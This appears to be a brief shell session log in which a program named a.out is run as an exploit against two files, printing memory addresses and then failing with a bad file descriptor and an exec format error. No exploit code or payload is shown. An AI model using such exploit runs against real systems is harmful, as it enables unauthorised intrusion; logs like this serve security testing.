bash-3.00$ ./a.out bifile ; ./a.out /tmp/bigfile ./a.out bifile ; ./a.out /tmp/bigfile --> preparing exploit... --> a[0] = 0x853e008 --> a[1] = 0x853e018 --> a[2] = 0x853e028 --> trying to exploit bifile mmap: Bad file descriptor --> preparing exploit... --> a[0] = 0x9c6b008 --> a[1] = 0x9c6b018 --> a[2] = 0x9c6b028 --> trying to exploit /tmp/bigfile failed: Exec format error bash-3.00$